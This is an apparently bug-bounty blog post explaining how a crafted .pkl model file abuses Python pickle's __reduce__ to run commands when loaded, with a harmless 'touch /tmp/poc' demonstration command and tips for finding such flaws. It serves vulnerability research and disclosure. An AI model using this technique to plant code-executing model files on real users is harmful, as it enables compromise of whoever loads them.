Pkl Rick’d: How Loading a .pkl File Can Lead to RCE

Sometimes the simplest bugs are the most dangerous — especially when they’ve been hiding in plain sight.
This one’s a classic pattern: pickle.load()
+ unsafe deserialization = RCE.
Let’s unpack a clean, minimal Model File Vulnerability (MFV) where a malicious .pkl
file executes code the moment it's loaded. No edge cases, no extra steps — just Python doing Python things.
The Vulnerability Explained
This one lives in the wide-open serialization mechanism that is Python’s built-in pickle
module. If you’ve ever used pickle.dump()
to save a model (or any object), and pickle.load()
to bring it back — congrats, you’ve opened the door to arbitrary code execution.
Here’s why: pickle.load()
doesn’t just deserialize data — it runs code. Specifically, it’ll call the __reduce__()
method on any object being unpickled.
And guess what? That method can return basically anything — including a tuple that tells Python: “hey, go ahead and run os.system('touch /tmp/poc')
real quick.”
Proof of Concept (PoC)
Here's a step-by-step demonstration of how this vulnerability can be exploited. You can find the full, working PoC in this Google Colab notebook.
Here's the breakdown:
1. Craft the payload
We start by defining a class that overrides the __reduce__()
method. Instead of returning instructions to recreate the object, it returns a system command:
This instructs pickle
to execute os.system("touch /tmp/poc")
when the object is deserialized.
2. Serialize the payload
We use pickle.dumps()
to serialize the object and write it to a file:
3. Simulate the victim loading the model
Now, a victim simply loading this pickle file will unknowingly execute the payload:
At this point, /tmp/poc
will be created on the victim’s machine — proof that the system command was executed.
Why This Matters for MFV Huntrs
This is a textbook MFV: code execution via a malicious model artifact.
Here’s what makes it a great pattern to hunt for:
-
Framework-agnostic: This isn’t about TensorFlow or PyTorch. This is core Python. If a project uses
.pkl
to save or load models, it’s potentially vulnerable. -
Stupid simple: You don’t need to reverse engineer a binary format or fuzz some weird parser. Just subclass
__reduce__
and you’re good. Get that bounty!
Tips for Finding Similar MFVs
🔍 Look for:
-
Calls to
pickle.load()
,pickle.loads()
, or anything using Pickle/HDF5/pickle-based formats -
ML libraries that save or share
.pkl
model files -
Tutorials or notebooks that tell users to "just load this .pkl"
If you can control the file, and it gets loaded — game on.
Wrapping Up
Sometimes the oldest bugs are still the juiciest. This report shows that even basic deserialization in Python can be a huge attack vector if model files aren’t handled securely.
If you're hunting MFVs, focus on deserialization workflows — especially where objects are reconstructed dynamically without validation. That’s often where execution paths get exposed. Happy hunting!
.jpg?width=100&name=Madison-2%20(3).jpg)